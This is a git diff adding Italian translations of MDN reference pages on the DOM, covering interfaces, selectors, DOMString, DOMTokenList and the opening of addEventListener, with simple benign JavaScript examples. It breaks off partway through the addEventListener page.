+<p>Questa guida riguarda gli oggetti e le cose reali che puoi usare per manipolare la gerarchia DOM. Ci sono molti punti in cui capire come questi lavori possono essere fonte di confusione. Ad esempio, l'oggetto che rappresenta l'elemento del modulo HTML ottiene la sua proprietà name dall'interfaccia <code>HTMLFormElement</code> ma la sua proprietà <code>className</code> dall'interfaccia <code>HTMLElement</code>. In entrambi i casi, la proprietà desiderata è semplicemente nell'oggetto modulo.<br>
+ <br>
+ Ma la relazione tra gli oggetti e le interfacce che implementano nel DOM può essere confusa, e quindi questa sezione tenta di dire qualcosa sulle interfacce effettive nella specifica DOM e su come sono rese disponibili.</p>
+
+<h3 id="Interfaces_and_Objects" name="Interfaces_and_Objects">Interfacce ed oggetti</h3>
+
+<p>Molti oggetti prendono in prestito da diverse interfacce. L'oggetto tabella, ad esempio, implementa un'interfaccia specializzata {{domxref("HTMLTableElement")}}, che include metodi come <code>createCaption</code> e <code>insertRow</code>. Ma poiché è anche un elemento HTML, la <code>table</code> implementa l'interfaccia <code>Element</code> descritta nel capitolo DOM {{domxref ("Element")}}. E infine, poiché un elemento HTML è anche, per quanto riguarda il DOM, un nodo nella struttura ad albero dei nodi che compongono il modello a oggetti per una pagina HTML o XML, l'oggetto table implementa anche l'interfaccia <code>Node</code> di base, da quale <code>Element</code> deriva.</p>
+
+<p>Quando si ottiene un riferimento a un oggetto <code>table</code>, come nell'esempio seguente, si utilizzano abitualmente tutte e tre queste interfacce in modo intercambiabile sull'oggetto, forse senza saperlo.</p>
+
+<pre class="brush: js">const table = document.getElementById("table");
+const tableAttrs = table.attributes; // Node/Element interface
+for (let i = 0; i &lt; tableAttrs.length; i++) {
+  // HTMLTableElement interface: border attribute
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+</pre>
+
+<h3 id="Core_Interfaces_in_the_DOM" name="Core_Interfaces_in_the_DOM">Principali interfacce nel DOM</h3>
+
+<p>Questa sezione elenca alcune delle interfacce più comunemente utilizzate nel DOM. L'idea non è di descrivere cosa fanno queste API qui, ma di darti un'idea del tipo di metodi e proprietà che vedrai molto spesso mentre usi il DOM. Queste API comuni sono usate negli esempi più lunghi nel capitolo <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Examples">DOM Examples</a> alla fine di questo libro.</p>
+
+<p>Gli oggetti <code>document</code> e <code>window</code> sono gli oggetti le cui interfacce si utilizzano generalmente più spesso nella programmazione DOM. In termini semplici, l'oggetto <code>window</code> rappresenta qualcosa di simile al browser e l'oggetto <code>document</code> è la radice del documento stesso. L'<code>Element</code> eredita dall'interfaccia del <code>Node</code> generico e insieme queste due interfacce forniscono molti dei metodi e delle proprietà che usi sui singoli elementi. Questi elementi possono anche avere interfacce specifiche per gestire il tipo di dati contenuti in tali elementi, come nell'esempio dell'oggetto tabella nella sezione precedente.</p>
+
+<p>Di seguito è riportato un breve elenco di API comuni negli script di pagine Web e XML che utilizzano DOM.</p>
+
+<ul>
+ <li><code>{{domxref("document.getElementById", "", "", "1")}}(id)</code></li>
+ <li><code>document.{{domxref("Element.getElementsByTagName", "getElementsByTagName", "", "1")}}(name)</code></li>
+ <li><code>{{domxref("document.createElement", "", "", "1")}}(name)</code></li>
+ <li><code>parentNode.{{domxref("Node.appendChild", "appendChild", "", "1")}}(node)</code></li>
+ <li><code>element.{{domxref("element.innerHTML", "innerHTML", "", "1")}}</code></li>
+ <li><code>element.{{domxref("HTMLElement.style", "style", "", "1")}}.left</code></li>
+ <li><code>element.{{domxref("element.setAttribute", "setAttribute", "", "1")}}()</code></li>
+ <li><code>element.{{domxref("element.getAttribute", "getAttribute", "", "1")}}()</code></li>
+ <li><code>element.{{domxref("EventTarget.addEventListener", "addEventListener", "", "1")}}()</code></li>
+ <li><code>{{domxref("window.content", "", "", "1")}}</code></li>
+ <li><code>{{domxref("window.onload", "", "", "1")}}</code></li>
+ <li><code>{{domxref("window.scrollTo", "", "", "1")}}()</code></li>
+</ul>
+
+<h2 id="Testing_the_DOM_API" name="Testing_the_DOM_API">Test dell'API DOM</h2>
+
+<p>Questo documento fornisce esempi per ogni interfaccia che è possibile utilizzare nel proprio sviluppo Web. In alcuni casi, gli esempi sono pagine HTML complete, con l'accesso DOM in un elemento <code>&lt;script&gt;</code>, l'interfaccia (ad es. Pulsanti) necessaria per accendere lo script in un modulo e gli elementi HTML su cui opera il DOM elencati come bene. In questo caso, puoi tagliare e incollare l'esempio in un nuovo documento HTML, salvarlo ed eseguire l'esempio dal browser.</p>
+
+<p>Ci sono alcuni casi, tuttavia, quando gli esempi sono più concisi. Per eseguire esempi che dimostrano solo la relazione di base dell'interfaccia con gli elementi HTML, è possibile impostare una pagina di prova in cui è possibile accedere facilmente alle interfacce dagli script. La seguente pagina Web molto semplice fornisce un elemento &lt;script&gt; nell'intestazione in cui è possibile inserire funzioni che testano l'interfaccia, alcuni elementi HTML con attributi che è possibile recuperare, impostare o altrimenti manipolare e l'interfaccia utente Web necessaria per chiama quelle funzioni dal browser.</p>
+
+<p>Puoi utilizzare questa pagina di prova o crearne una simile per testare le interfacce DOM che ti interessano e vedere come funzionano sulla piattaforma del browser. È possibile aggiornare il contenuto della funzione <code>test()</code> secondo necessità, creare più pulsanti o aggiungere elementi se necessario.</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;DOM Tests&lt;/title&gt;
+  &lt;script&gt;
+    function setBodyAttr(attr, value) {
+      if (document.body) document.body[attr] = value;
+      else throw new Error("no support");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div style="margin: .5in; height: 400px;"&gt;
+    &lt;p&gt;&lt;b&gt;&lt;tt&gt;text&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+    &lt;form&gt;
+      &lt;select onChange="setBodyAttr('text',
+        this.options[this.selectedIndex].value);"&gt;
+        &lt;option value="black"&gt;black&lt;/option&gt;
+        &lt;option value="red"&gt;red&lt;/option&gt;
+      &lt;/select&gt;
+      &lt;p&gt;&lt;b&gt;&lt;tt&gt;bgColor&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+      &lt;select onChange="setBodyAttr('bgColor',
+        this.options[this.selectedIndex].value);"&gt;
+        &lt;option value="white"&gt;white&lt;/option&gt;
+        &lt;option value="lightgrey"&gt;gray&lt;/option&gt;
+      &lt;/select&gt;
+      &lt;p&gt;&lt;b&gt;&lt;tt&gt;link&lt;/tt&gt;&lt;/b&gt;&lt;/p&gt;
+      &lt;select onChange="setBodyAttr('link',
+        this.options[this.selectedIndex].value);"&gt;
+        &lt;option value="blue"&gt;blue&lt;/option&gt;
+        &lt;option value="green"&gt;green&lt;/option&gt;
+      &lt;/select&gt;
+      &lt;small&gt;
+        &lt;a href="http://some.website.tld/page.html" id="sample"&gt;
+          (sample link)
+        &lt;/a&gt;
+      &lt;/small&gt;&lt;br /&gt;
+      &lt;input type="button" value="version" onclick="ver()" /&gt;
+    &lt;/form&gt;
+  &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Per testare molte interfacce in una singola pagina —ad esempio una "suite" di proprietà che influisce sui colori di una pagina Web— è possibile creare una pagina di test simile con un'intera console di pulsanti, campi di testo e altri elementi HTML. La schermata seguente ti dà un'idea di come le interfacce possono essere raggruppate per il test.</p>
+
+<figure>
+<figcaption>Figure 0.1 Esempio DOM Test Page</figcaption>
+<img alt="Image:DOM_Ref_Introduction_to_the_DOM.gif" class="internal" src="/@api/deki/files/173/=DOM_Ref_Introduction_to_the_DOM.gif"></figure>
+
+<p>In questo esempio, i menu drop-down, aggiornano dinamicamente tali aspetti accessibili della pagina Web come il colore di sfondo (<code>bgColor</code>), il colore dei collegamenti ipertestuali (<code>aLink</code>) e il colore del testo (<code>text</code>). Tuttavia, progettate le vostre pagine di test e testare le interfacce mentre le implementate è una parte importante dell'apprendimento dell'uso efficace del DOM.</p>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
+
+<div>{{DefaultAPISidebar("DOM")}}</div>
diff --git a/files/it/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/it/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
new file mode 100644
index 0000000000..7e82547d5d
--- /dev/null
+++ b/files/it/web/api/document_object_model/locating_dom_elements_using_selectors/index.html
@@ -0,0 +1,46 @@
+---
+title: Individuazione degli elementi DOM mediante selettori
+slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors
+translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors
+---
+<p>L'API dei selettori fornisce metodi che consentono di recuperare in modo rapido e semplice i nodi {{domxref("Element")}} dal DOM confrontando una serie di selettori. Questo è molto più rapido rispetto alle tecniche passate, in cui era necessario, ad esempio, utilizzare un loop nel codice JavaScript per individuare gli elementi specifici che dovevi trovare.</p>
+
+<h2 id="L'interfaccia_NodeSelector">L'interfaccia NodeSelector</h2>
+
+<p>Questa specifica aggiunge due nuovi metodi a qualsiasi oggetto che implementa le interfacce {{domxref("Document")}}, {{domxref("DocumentFragment")}}, o {{domxref("Element")}}:</p>
+
+<dl>
+ <dt><code>querySelector</code></dt>
+ <dd>Restituisce il primo nodo {{domxref("Element")}} corrispondente nella sottostruttura del nodo. Se non viene trovato alcun nodo corrispondente, viene restituito <code>null</code>.</dd>
+ <dt><code>querySelectorAll</code></dt>
+ <dd>Restituisce una {{domxref("NodeList")}} contenente tutti i nodi <code>Element</code> corrispondenti all'interno della sottostruttura del nodo o una <code>NodeList</code> vuota se non vengono trovate corrispondenze.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> La {{domxref("NodeList")}} restituita da {{domxref("Element.querySelectorAll()", "querySelectorAll()")}} non è dinamica, il che significa che le modifiche nel DOM non si riflettono nella collezione. Questo è diverso dagli altri metodi di DOM querying che restituiscono gli elenchi dei nodi dinamici.</div>
+
+<p>È possibile trovare esempi e dettagli leggendo la documentazione per i metodi {{domxref("Element.querySelector()")}} e {{domxref("Element.querySelectorAll()")}}, nonché nell'articolo <a class="internal" href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Code snippets for querySelector</a>.</p>
+
+<h2 id="Selettori">Selettori</h2>
+
+<p>I metodi di selezione accettano uno o più selettori separati da virgola per determinare quale elemento o elementi devono essere restituiti. Ad esempio, per selezionare tutti gli elementi paragrafo (<code>p</code>)  in un documento la cui classe CSS è <code>warning</code> o <code>note</code>, è possibile effettuare le seguenti operazioni:</p>
+
+<pre><code>var special = document.querySelectorAll("p.warning, p.note");</code></pre>
+
+<p>Puoi anche effettuare una query per ID. Per esempio:</p>
+
+<pre><code>var el = document.querySelector("#main, #basic, #exclamation");</code></pre>
+
+<p>Dopo aver eseguito il codice sopra, <code>el</code> contiene il primo elemento nel documento il cui ID è uno di <code>main</code>, <code>basic</code>, o <code>exclamation</code>.</p>
+
+<p>Puoi usare qualsiasi selettore CSS con i metodi <code>querySelector()</code> e <code>querySelectorAll()</code>.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+ <li>{{domxref("Element.querySelector()")}}</li>
+ <li>{{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("Document.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+</ul>
diff --git a/files/it/web/api/domapplicationsregistry/getinstalled/index.html b/files/it/web/api/domapplicationsregistry/getinstalled/index.html
new file mode 100644
index 0000000000..24657e5900
--- /dev/null
+++ b/files/it/web/api/domapplicationsregistry/getinstalled/index.html
@@ -0,0 +1,49 @@
+---
+title: DOMApplicationsRegistry.getInstalled()
+slug: Web/API/DOMApplicationsRegistry/getInstalled
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry/getInstalled
+---
+<p> </p>
+
+<p> </p>
+
+<p>{{ ApiRef("Apps") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Get a list of all installed apps from this origin. For example, if you call this on the Firefox Marketplace, you will get the list of apps installed by the Firefox Marketplace.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Installable open web apps used to have a "single app per origin" security policy, but this was lifted as of Firefox 34/Firefox OS 2.1 (read <a href="https://developer.mozilla.org/en-US/Apps/Build/installable_apps_for_Firefox_OS/App_manifest_FAQ#Can_I_have_more_than_one_app_at_my_origin.3F">this FAQ entry</a> for more information). If you still need to support older versions, consider hosting your apps at separate origins; one strategy is to <a href="/en-US/Marketplace/Publishing/Adding_a_subdomain">create different subdomains</a> for your apps.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre><code>var request = window.navigator.mozApps.<code>getInstalled</code>()</code>;
+</pre>
+
+<h3 id="Errors">Errors</h3>
+
+<p>The string <code>ERROR</code> can be returned in <code>DOMRequest.error</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var request = window.navigator.mozApps.getInstalled();
+request.onerror = function(e) {
+  alert("Error calling getInstalled: " + request.error.name);
+};
+request.onsuccess = function(e) {
+  alert("Success, number of apps: " + request.result.length);
+  var appsRecord = request.result;
+};</pre>
+
+<p>Callers are expected to set the <code>onsuccess</code> and <code>onerror</code> callback properties of the returned object, as shown in this example. If the call is successful an array of <a href="/en-US/docs/Web/API/App"><code>App</code> objects</a> is returned in the <code>result</code> property of the returned object. In the example this is <code>request.result</code>.</p>
+
+<h2 id="Related_topics">Related topics</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/App"><code>App</code> object</a></li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li>
+</ul>
diff --git a/files/it/web/api/domapplicationsregistry/index.html b/files/it/web/api/domapplicationsregistry/index.html
new file mode 100644
index 0000000000..4effc6546e
--- /dev/null
+++ b/files/it/web/api/domapplicationsregistry/index.html
@@ -0,0 +1,89 @@
+---
+title: DOMApplicationsRegistry
+slug: Web/API/DOMApplicationsRegistry
+tags:
+  - API
+  - Apps
+  - Apps API
+  - NeedsTranslation
+  - Non-standard
+  - TopicStub
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry
+---
+<p>{{ ApiRef("Apps") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>Provides support for installing, managing, and controlling Open Web apps in a browser. Currently implemented as {{ domxref('window.navigator.mozApps') }}.</p>
+
+<h2 id="Property">Property</h2>
+
+<dl>
+ <dt>{{domxref("DOMApplicationsRegistry.mgmt")}}</dt>
+ <dd>A <code>mgmt</code> object that exposes functions that let dashboards manage and launch apps on a user's behalf.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref("DOMApplicationsRegistry.checkInstalled()") }}</dt>
+ <dd>Checks whether an app has already been installed, taking its manifest as parameter.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.install()") }}</dt>
+ <dd>Triggers the installation of an app. During the installation process, the app is validated and the user is prompted to approve the installation.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.getSelf()") }}</dt>
+ <dd>Returns an object that contains an {{ domxref('app') }} object for the app.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.getInstalled()") }}</dt>
+ <dd>Gets a list of all installed apps.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/it/web/api/domstring/index.html b/files/it/web/api/domstring/index.html
new file mode 100644
index 0000000000..625d5762d3
--- /dev/null
+++ b/files/it/web/api/domstring/index.html
@@ -0,0 +1,56 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+tags:
+  - API
+  - DOM
+  - Referenza
+  - String
+translation_of: Web/API/DOMString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DOMString</code></strong> è una stringa UTF-16. Poiché JavaScript utilizza già tali stringhe, <code>DOMString</code> viene mappato direttamente su {{jsxref("String")}}.</p>
+
+<p>Passare {{jsxref("null")}} ad un metodo o parametro che accetta una <code>DOMString</code> tipicamente si trasforma in <code>"null"</code>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Riformulazione della definizione per rimuovere casi di bordo strani.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>JavaScript {{jsxref("String")}}</li>
+ <li>{{domxref("USVString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Stringhe Binarie</a></li>
+</ul>
diff --git a/files/it/web/api/domtokenlist/index.html b/files/it/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..dab0967959
--- /dev/null
+++ b/files/it/web/api/domtokenlist/index.html
@@ -0,0 +1,115 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+tags:
+  - API
+  - DOM
+  - DOMTokenList
+  - Interfaccia
+  - Referenza
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interfaccia <strong><code>DOMTokenList</code></strong> rappresenta un insieme di token separati dallo spazio. Tale insieme viene restituito da {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, o {{domxref("HTMLOutputElement.htmlFor")}}. Viene indicizzato a partire da <code>0</code> come con gli JavaScript {{jsxref("Array")}} oggetti. <code>DOMTokenList</code> è sempre case-sensitive.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>È un <code>integer</code> che rappresenta il numero di oggetti memorizzati nell'oggetto.</dd>
+ <dt>{{domxref("DOMTokenList.value")}}</dt>
+ <dd>Il valore della lista come una {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Restituisce un elemento nell'elenco per il suo indice (restituisce undefined se il numero è maggiore o uguale alla lunghezza dell'elenco).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>Restituisce <code>true</code> se la lista contiene il <em>token</em> dato, altrimenti <code>false</code>.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Aggiunge il <em>token</em> indicato alla lista.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Rimuove il <em>token</em> specificato dall'elenco.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Sostituisce un <em>token</em> esistente con un nuovo token.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Restituisce <code>true</code> se un determinato <em>token</em> si trova nei token supportati dell'attributo associato.</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd>Rimuove un determinato <em>token</em> dall'elenco e restituisce false. Se il <em>token</em> non esiste viene aggiunto e la funzione restituisce <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>Restituisce un {{jsxref("Iteration_protocols","iterator")}} consentendoti di passare attraverso tutte le coppie chiave/valore contenute in questo oggetto.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>Esegue una funzione fornita una volta per elemento <code>DOMTokenList</code>.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>Restituisce un {{jsxref("Iteration_protocols", "iterator")}} consentendo di esaminare tutte le chiavi delle coppie chiave/valore contenute in questo oggetto.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>Restituisce un {{jsxref("Iteration_protocols", "iterator")}} consentendo di esaminare tutti i valori delle coppie chiave/valore contenute in questo oggetto.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Nel seguente semplice esempio, recuperiamo l'elenco di classi impostato su un elemento {{htmlelement("p")}} come una <code>DOMTokenList</code> usando {{domxref("Element.classList")}}, aggiungi una classe usando {{domxref("DOMTokenList.add()")}}, quindi aggiorna il {{domxref("Node.textContent")}} di <code>&lt;p&gt;</code> per uguagliare <code>DOMTokenList</code>.</p>
+
+<p>Innanzitutto, l'HTML:</p>
+
+<pre class="brush: html">&lt;p class="a b c"&gt;&lt;/p&gt;</pre>
+
+<p>Ora JavaScript:</p>
+
+<pre class="brush: js">var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';</pre>
+
+<p>L'output è simile a questo:</p>
+
+<p>{{ EmbedLiveSample('Esempi', '100%', 60) }}</p>
+
+<h2 id="Taglio_di_spazi_bianchi_e_rimozione_di_duplicati">Taglio di spazi bianchi e rimozione di duplicati</h2>
+
+<p>I metodi che modificano <code>DOMTokenList</code> (come {{domxref("DOMTokenList.add()")}}) tagliano automaticamente gli spazi bianchi in eccesso e rimuovono i valori duplicati dall'elenco. Per esempio:</p>
+
+<pre class="brush: html">&lt;span class="    d   d e f"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';</pre>
+
+<p>L'output è simile a questo:</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("api.DOMTokenList")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (oggetto che estende <code>DOMTokenList</code> con la proprietà settabile <em>.value</em>)</li>
+</ul>
diff --git a/files/it/web/api/domtokenlist/item/index.html b/files/it/web/api/domtokenlist/item/index.html
new file mode 100644
index 0000000000..c81eedcbc9
--- /dev/null
+++ b/files/it/web/api/domtokenlist/item/index.html
@@ -0,0 +1,67 @@
+---
+title: DOMTokenList.item()
+slug: Web/API/DOMTokenList/item
+translation_of: Web/API/DOMTokenList/item
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Il metodo <strong><code>item()</code></strong> dell'interfaccia {{domxref("DOMTokenList")}} restituisce un elemento nell'elenco per il suo indice.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">tokenList.item(index);</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>index</dt>
+ <dd>Una {{domxref("DOMString")}} che rappresenta l'indice dell'elemento che si desidera restituire.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Una {{domxref("DOMString")}} che rappresenta l'elemento restituito. Restituisce <code>undefined</code> se il numero è maggiore o uguale alla lunghezza della lista.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Nel seguente esempio recuperiamo l'elenco di classi impostate su un elemento {{htmlelement("span")}} come <code>DOMTokenList</code> usando {{domxref("Element.classList")}}. Quindi recuperiamo l'ultimo elemento nell'elenco usando <em>item(length-1)</em> e lo scriviamo nel <code>&lt;span&gt;</code>'s {{domxref("Node.textContent")}}.</p>
+
+<p>Innanzitutto, l'HTML:</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Ora JavaScript:</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var item = classes.item(classes.length-1);
+span.textContent = item;</pre>
+
+<p>L'output è simile a questo:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-item','item()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_Browser">Compatibilità con i Browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.DOMTokenList.item")}}</p>
+</div>
diff --git a/files/it/web/api/element/addeventlistener/index.html b/files/it/web/api/element/addeventlistener/index.html
new file mode 100644
index 0000000000..6608e69bd3
--- /dev/null
+++ b/files/it/web/api/element/addeventlistener/index.html
@@ -0,0 +1,694 @@
+---
+title: EventTarget.addEventListener()
+slug: Web/API/Element/addEventListener
+tags:
+  - API
+  - DOM
+  - EventTarget
+  - Gestori di Eventi
+  - JavaScript
+  - Referenza
+  - Ricevere Eventi
+  - Rilevare Eventi
+  - addEventListener
+  - attachEvent
+  - eventi
+  - metodo
+  - mselementresize
+translation_of: Web/API/EventTarget/addEventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><span class="seoSummary">Il metodo {{domxref("EventTarget")}} <code><strong>addEventListener()</strong></code> imposta una funzione che verrà chiamata ogni volta che l'evento specificato viene consegnato all'elemento di destinazione.</span> I target comuni sono {{domxref("Element")}}, {{domxref("Document")}}, e {{domxref("Window")}}, ma la destinazione può essere qualsiasi oggetto che supporti eventi (come <code><a href="/it/docs/DOM/XMLHttpRequest">XMLHttpRequest</a></code>).</p>
+
+<p><code>addEventListener()</code> funziona aggiungendo una funzione o un oggetto che implementa {{domxref("EventListener")}} all'elenco di listener di eventi per il tipo di evento specificato sul {{domxref("EventTarget")}} sul quale è chiamato.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>options</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>, <em>wantsUntrusted </em>{{Non-standard_inline}}]); // Gecko/Mozilla only</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>type</code></dt>
